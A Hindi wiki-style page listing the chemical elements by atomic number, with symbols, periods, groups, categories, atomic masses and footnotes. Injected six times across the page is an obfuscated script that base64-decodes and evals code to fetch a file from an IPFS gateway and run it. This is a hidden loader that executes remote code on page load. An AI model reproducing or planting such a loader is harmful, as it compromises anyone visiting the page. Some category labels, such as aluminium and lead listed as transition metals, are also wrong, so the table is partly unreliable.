तत्वों की सूची (परमाणु संख्यानुसार)  

विज्ञान मुखपृष्ठ नामानुसार प्रतीकानुसार परमाणु संख्यानुसार
परमाणु क्रमांक (Z)
नाम
प्रतीक
अवधि
समूह
रसायनिक श्रेणी
द्रव्यमान (g/mol)
1 हाइड्रोजन H 1 1 अधातु ००,००,००१ 1.00794(7)[१][२][३]
2 हीलियम He 1 18 अक्रिय गैस ००,००,००४ 4.002602(2)[१][३]
3 लिथियम Li 2 1 क्षार धातु ००,००,००६ 6.941(2)[१][२][३][४]
4 बेरेलियम Be 2 2 क्षारीय पार्थिव धातु ००,००,००९ 9.012182(3)
5 बोरान B 2 13 उपधातु ००,००,०१० 10.811(7)[१][२][३]
6 कार्बन C 2 14 अधातु ००,००,०१२ 12.0107(8)[१][३]
7 नाइट्रोजन N 2 15 अधातु ००,००,०१४ 14.0067(2)[१][३]
8 ऑक्सीजन O 2 16 अधातु ००,००,०१५ 15.9994(3)[१][३]
9 फ्लोरीन F 2 17 हैलोजन्स ००,००,०१८ 18.9984032(5)
10 निऑन Ne 2 18 अक्रिय गैस ००,००,०२० 20.1797(6)[१][२]
11 सोडियम Na 3 1 क्षार धातु ००,००,०२२ 22.98976928(2)
12 मैग्नीसियम Mg 3 2 क्षारीय पार्थिव धातु ००,००,०२४ 24.3050(6)
13 ऐलुमिनियम Al 3 13 संक्रमण धातु ००,००,०२६ 26.9815386(8)
14 सिलिकॉन Si 3 14 उपधातु ००,००,०२८ 28.0855(3)[३]
15 फॉस्फोरस P 3 15 अधातु ००,००,०३० 30.973762(2)
16 गंधक S 3 16 अधातु ००,००,०३२ 32.065(5)[१][३]
17 क्लोरीन Cl 3 17 हैलोजन्स ००,००,०३५ 35.453(2)[१][२][३]
18 आर्गन Ar 3 18 अक्रिय गैस ००,००,०३९ 39.948(1)[१][३]
19 पोटैशियम K 4 1 क्षार धातु ००,००,०३९ 39.0983(1)
20 कैल्सियम Ca 4 2 क्षारीय पार्थिव धातु ००,००,०४० 40.078(4)[१]
21 स्कैंडियम Sc 4 3 संक्रमण धातु ००,००,०४४ 44.955912(6)
22 टाइटैनियम Ti 4 4 संक्रमण धातु ००,००,०४७ 47.867(1)
23 वैनेडियम V 4 5 संक्रमण धातु ००,००,०५० 50.9415(1)
24 क्रोमियम Cr 4 6 संक्रमण धातु ००,००,०५१ 51.9961(6)
25 मैंगनीज Mn 4 7 संक्रमण धातु ००,००,०५४ 54.938045(5)
26 आयरन Fe 4 8 संक्रमण धातु ००,००,०५५ 55.845(2)
27 कोबाल्ट Co 4 9 संक्रमण धातु ००,००,०५८ 58.933195(5)
28 निकिल Ni 4 10 संक्रमण धातु ००,००,०५८ 58.6934(2)
29 कॉपर Cu 4 11 संक्रमण धातु ००,००,०६३ 63.546(3)[३]
30 जिंक Zn 4 12 संक्रमण धातु ००,००,०६५ 65.409(4)
31 गैलियम Ga 4 13 संक्रमण धातु ००,००,०६९ 69.723(1)
32 जरमेनियम Ge 4 14 उपधातु ००,००,०७२ 72.64(1)
33 आर्सेनिक As 4 15 उपधातु ००,००,०७४ 74.92160(2)
34 सेलेनियम Se 4 16 अधातु ००,००,०७८ 78.96(3)[३]
35 ब्रोमिन Br 4 17 हैलोजन्स ००,००,०७९ 79.904(1)
36 क्रिप्टन Kr 4 18 अक्रिय गैस ००,००,०८३ 83.798(2)[१][२]
37 रूबिडियम Rb 5 1 क्षार धातु ००,००,०८५ 85.4678(3)[१]
38 स्ट्रोन्सियम Sr 5 2 क्षारीय पार्थिव धातु ००,००,०८७ 87.62(1)[१][३]
39 इत्रियम Y 5 3 संक्रमण धातु ००,००,०८८ 88.90585(2)
40 जर्कोनियम Zr 5 4 संक्रमण धातु ००,००,०९१ 91.224(2)[१]
41 नियोबियम Nb 5 5 संक्रमण धातु ००,००,०९२ 92.906 38(2)
42 मोलिब्डेनम Mo 5 6 संक्रमण धातु ००,००,०९५ 95.94(2)[१]
43 टेक्निशियम Tc 5 7 संक्रमण धातु ००,००,०९८ [98.9063][५]
44 रूथेनियम Ru 5 8 संक्रमण धातु ००,००,१०१ 101.07(2)[१]
45 रोडियम Rh 5 9 संक्रमण धातु ००,००,१०२ 102.90550(2)
46 पलाडियम Pd 5 10 संक्रमण धातु ००,००,१०६ 106.42(1)[१]
47 चाँदी Ag 5 11 संक्रमण धातु ००,००,१०७ 107.8682(2)[१]
48 कैडमियम Cd 5 12 संक्रमण धातु ००,००,११२ 112.411(8)[१]
49 इण्डियम In 5 13 संक्रमण धातु ००,००,११४ 114.818(3)
50 त्रपु Sn 5 14 संक्रमण धातु ००,००,११८ 118.710(7)[१]
51 एन्टिमोनी Sb 5 15 उपधातु ००,००,१२१ 121.760(1)[१]
52 टेलुरियम Te 5 16 उपधातु ००,००,१२७ 127.60(3)[१]
53 आयोडिन I 5 17 हैलोजन्स ००,००,१२६ 126.90447(3)
54 ज़ेनान Xe 5 18 अक्रिय गैस ००,००,१३१ 131.293(6)[१][२]
55 सीज़ियम Cs 6 1 क्षार धातु ००,००,१३२ 132.9054519(2)
56 बेरियम Ba 6 2 क्षारीय पार्थिव धातु ००,००,१३७ 137.327(7)
57 लैंथेनम La 6 3 लेन्थेनाइड ००,००,१३८ 138.90547(7)[१]
58 सीरियम Ce 6 3 लेन्थेनाइड ००,००,१४० 140.116(1)[१]
59 प्रासियोडाइमियम Pr 6 3 लेन्थेनाइड ००,००,१४० 140.90765(2)
60 नियोडाइमियम Nd 6 3 लेन्थेनाइड ००,००,१४४ 144.242(3)[१]
61 प्रोमेथियम Pm 6 3 लेन्थेनाइड ००,००,१४६ [146.9151][५]
62 सैमरियम Sm 6 3 लेन्थेनाइड ००,००,१५० 150.36(2)[१]
63 युरोपियम Eu 6 3 लेन्थेनाइड ००,००,१५१ 151.964(1)[१]
64 ग्याडोलिनियम Gd 6 3 लेन्थेनाइड ००,००,१५७ 157.25(3)[१]
65 टर्बियम Tb 6 3 लेन्थेनाइड ००,००,१५८ 158.92535(2)
66 डिस्प्रोसियम Dy 6 3 लेन्थेनाइड ००,००,१६२ 162.500(1)[१]
67 होल्मियम Ho 6 3 लेन्थेनाइड ००,००,१६४ 164.93032(2)
68 अर्बियम Er 6 3 लेन्थेनाइड ००,००,१६७ 167.259(3)[१]
69 थुलियम Tm 6 3 लेन्थेनाइड ००,००,१६८ 168.93421(2)
70 यिट्टरबियम Yb 6 3 लेन्थेनाइड ००,००,१७३ 173.04(3)[१]
71 लुटेटियम Lu 6 3 लेन्थेनाइड ००,००,१७४ 174.967(1)[१]
72 हाफ्नियम Hf 6 4 संक्रमण धातु ००,००,१७८ 178.49(2)
73 टैंटेलम Ta 6 5 संक्रमण धातु ००,००,१८० 180.9479(1)
74 टंग्स्टन W 6 6 संक्रमण धातु ००,००,१८३ 183.84(1)
75 रेनियम Re 6 7 संक्रमण धातु ००,००,१८६ 186.207(1)
76 अस्मियम Os 6 8 संक्रमण धातु ००,००,१९० 190.23(3)[१]
77 इरिडियम Ir 6 9 संक्रमण धातु ००,००,१९२ 192.217(3)
78 प्लेटिनम Pt 6 10 संक्रमण धातु ००,००,१९५ 195.084(9)
79 स्वर्ण Au 6 11 संक्रमण धातु ००,००,१९६ 196.966569(4)
80 पारा Hg 6 12 संक्रमण धातु ००,००,२०० 200.59(2)
81 थैलियम Tl 6 13 संक्रमण धातु ००,००,२०४ 204.3833(2)
82 सीसा Pb 6 14 संक्रमण धातु ००,००,२०७ 207.2(1)[१][३]
83 बिस्मथ Bi 6 15 संक्रमण धातु ००,००,२०८ 208.98040(1)
84 पोलोनियम Po 6 16 उपधातु ००,००,२०८ [208.9824][५]
85 एस्टाटिन At 6 17 हैलोजन्स ००,००,२०९ [209.9871][५]
86 रेडन Rn 6 18 अक्रिय गैस ००,००,२२२ [222.0176][५]
87 फ्रान्सियम Fr 7 1 क्षार धातु ००,००,२२३ [223.0197][५]
88 रेडियम Ra 7 2 क्षारीय पार्थिव धातु ००,००,२२६ [226.0254][५]
89 एक्टिनियम Ac 7 3 ऐक्टिनाइड ००,००,२२७ [227.0278][५]
90 थोरियम Th 7 3 ऐक्टिनाइड ००,००,२३२ 232.03806(2)[१][५]
91 प्रोटैक्टीनियम Pa 7 3 ऐक्टिनाइड ००,००,२३१ 231.03588(2)[५]
92 युरेनियम U 7 3 ऐक्टिनाइड ००,००,२३८ 238.02891(3)[१][२][५]
93 नेप्ट्यूनियम Np 7 3 ऐक्टिनाइड ००,००,२३७ [237.0482][५]
94 प्लूटोनियम Pu 7 3 ऐक्टिनाइड ००,००,२४४ [244.0642][५]
95 अमेरिशियम Am 7 3 ऐक्टिनाइड ००,००,२४३ [243.0614][५]
96 क्यूरियम Cm 7 3 ऐक्टिनाइड ००,००,२४७ [247.0703][५]
97 बर्केलियम Bk 7 3 ऐक्टिनाइड ००,००,२४७ [247.0703][५]
98 कैलिफ़ोर्नियम Cf 7 3 ऐक्टिनाइड ००,००,२५१ [251.0796][५]
99 आइंस्टीनियम Es 7 3 ऐक्टिनाइड ००,००,२५२ [252.0829][५]
100 फर्मियम Fm 7 3 ऐक्टिनाइड ००,००,२५७ [257.0951][५]
101 मेण्डेलीवियम Md 7 3 ऐक्टिनाइड ००,००,२५८ [258.0986][५]
102 नोबेलियम No 7 3 ऐक्टिनाइड ००,००,२५९ [259.1009][५]
103 लॉरेंशियम Lr 7 3 ऐक्टिनाइड ००,००,२६० [260.1053][५]
104 रुथरफोर्डियम Rf 7 4 संक्रमण धातु ००,००,२६१ [261.1087][५]
105 डब्नियम Db 7 5 संक्रमण धातु ००,००,२६२ [262.1138][५]
106 सीबोर्गियम Sg 7 6 संक्रमण धातु ००,००,२६३ [263.1182][५]
107 बोरियम Bh 7 7 संक्रमण धातु ००,००,२६२ [262.1229][५]
108 हसियम Hs 7 8 संक्रमण धातु ००,००,२६५ [265][५]
109 मेइट्नेरियम Mt 7 9 संक्रमण धातु ००,००,२६६ [266][५]
110 डार्म्स्टेडशियम Ds 7 10 संक्रमण धातु ००,००,२६९ [269][५]
111 रॉन्टजैनियम Rg 7 11 संक्रमण धातु ००,००,२७२ [272][५]
112 उनउनबियम Uub 7 12 संक्रमण धातु ००,००,२८५ [285][५]
113 उनउनट्रियम Uut 7 13 संक्रमण धातु ००,००,२८४ [284][५]
114 उनउनक्वाडृयम Uuq 7 14 संक्रमण धातु ००,००,२८९ [289][५]
115 उनउनपैन्शियम Uup 7 15 संक्रमण धातु ००,००,२८८ [288][५]
116 उनउनहैक्षियम Uuh 7 16 संक्रमण धातु ००,००,२९२ [292][५]
117 उनउनसैप्क्षियम Uus 7 17 हैलोजन्स ००,००,२९३ [295] [६]
118 उनउनऑक्षियम Uuo 7 18 अक्रिय गैस ००,००,२९४ [294][५]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. १.०० १.०१ १.०२ १.०३ १.०४ १.०५ १.०६ १.०७ १.०८ १.०९ १.१० १.११ १.१२ १.१३ १.१४ १.१५ १.१६ १.१७ १.१८ १.१९ १.२० १.२१ १.२२ १.२३ १.२४ १.२५ १.२६ १.२७ १.२८ १.२९ १.३० १.३१ १.३२ १.३३ १.३४ १.३५ १.३६ १.३७ १.३८ कुछ भूवैज्ञानिक नमूनों में इस तत्व की समस्थानिक रचना भिन्न होती है और यह परिवर्तन सूची में दर्शाई गयी अनिश्चिता की सीमा से अधिक हो सकता है।
  2. २.० २.१ २.२ २.३ २.४ २.५ २.६ २.७ इस तत्त्व की समस्थानिक संरचना वाणिज्यिक पदार्थ के संबंध में बदल सकती है, जिसके कारण परमाणु भार संख्या उल्लिखित संख्या से भिन्न हो जाती है।
  3. ३.०० ३.०१ ३.०२ ३.०३ ३.०४ ३.०५ ३.०६ ३.०७ ३.०८ ३.०९ ३.१० ३.११ ३.१२ ३.१३ ३.१४ इस तत्त्व की समस्थानिक संरचना स्थलीय पदार्थ के संबंध में बदलती रहती है, इसलिए निश्चित परमाणु भार नहीं दिया गया है।
  4. वाणिज्यिक लीथियम का परमाणु भार 6.939 से 6.996 तक रहता है (विशिष्ट पदार्थ का विश्लेषण करने से अधिक निकटतम संख्या प्राप्त की जा सकती है।
  5. ५.०० ५.०१ ५.०२ ५.०३ ५.०४ ५.०५ ५.०६ ५.०७ ५.०८ ५.०९ ५.१० ५.११ ५.१२ ५.१३ ५.१४ ५.१५ ५.१६ ५.१७ ५.१८ ५.१९ ५.२० ५.२१ ५.२२ ५.२३ ५.२४ ५.२५ ५.२६ ५.२७ ५.२८ ५.२९ ५.३० ५.३१ ५.३२ ५.३३ ५.३४ ५.३५ स्थिर न्यूक्लाइड्स रहित तत्त्व और कोष्ठक की संख्या तत्त्व के अधिकतम आयु युक्त समस्थानिक की द्रव्यमान संख्या को इंगित करता है जैसे [209]। किन्तु थोरियम, प्रोटॅक्टिनियम और यूरेनियम के विशेष गुण धर्म, स्थलीय समस्थानिक रचना के होते हैं। इसलिए परमाणविक द्रव्यमान उल्लिखित है।
  6. यह तत्त्व अभी तक खोजा या विश्लेषित नहीं किया गया है।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


"https://amp.bharatdiscovery.org/w/index.php?title=तत्वों_की_सूची_(परमाणु_संख्यानुसार)&oldid=275979" से लिया गया